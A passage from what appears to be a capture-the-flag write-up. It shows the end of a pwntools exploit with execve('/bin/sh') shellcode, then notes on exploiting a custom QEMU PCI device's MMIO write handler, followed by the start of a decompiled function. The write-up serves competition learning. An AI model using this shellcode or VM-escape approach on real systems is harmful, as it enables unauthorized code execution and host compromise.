payload = <span class="hljs-string">"\x90"</span>*<span class="hljs-number">0x18</span>
payload += asm(<span class="hljs-string">"""
mov esp,0x40404a00
push 0x0068732f
push 0x6e69622f
mov eax,0xb
mov ebx,esp
xor ecx,ecx
xor edx,edx
int 0x80
"""</span>)
r.send(payload)
r.interactive()
</code></pre><h2 id="from-the-grill"><a class="header-link" href="#from-the-grill"></a>From The Grill</h2>
<h3 id="elastic-cloud-compute-(memory)-corruption"><a class="header-link" href="#elastic-cloud-compute-(memory)-corruption"></a>elastic cloud compute (memory) corruption</h3>
<ul class="list">
<li>It will use qemu-system-x86_64 to boot a vm</li>
<li>It tells us, we need to do something with PCI device</li>
<li>Then I found this <a href="https://kitctf.de/writeups/hitb2017/babyqemu">writeup</a></li>
<li>Now we know that we need to exploit via <code>/sys/devices/pci0000:00/0000:00:04.0/resource0</code></li>
<li>Decompile qemu-system-x86_64 and look for mmio read write function.</li>
<li>I only leveraged write funtion</li>
<li>There is a buffer which is located at <code>0x1317940</code> and three kinds of operations</li>
<li>You can <code>malloc</code> <code>free</code> <code>write</code> some chunks. And all the chunk will be on that buffer</li>
<li>I list the write function here:</li>
</ul>
<pre class="hljs"><code><span class="hljs-keyword">void</span> __<span class="hljs-function">fastcall <span class="hljs-title">OOO_mmio_write</span><span class="hljs-params">(__int64 a1, __int64 offset, __int64 value, <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> a4)</span>
</span>{
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v4; <span class="hljs-comment">// eax@1</span>
<span class="hljs-keyword">char</span> n[<span class="hljs-number">12</span>]; <span class="hljs-comment">// [sp+4h] [bp-3Ch]@1</span>
__int64 v6; <span class="hljs-comment">// [sp+10h] [bp-30h]@1</span>
__int64 v7; <span class="hljs-comment">// [sp+18h] [bp-28h]@1</span>
__int16 v8; <span class="hljs-comment">// [sp+22h] [bp-1Eh]@11</span>
<span class="hljs-keyword">int</span> i; <span class="hljs-comment">// [sp+24h] [bp-1Ch]@5</span>
<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> v10; <span class="hljs-comment">// [sp+28h] [bp-18h]@1</span>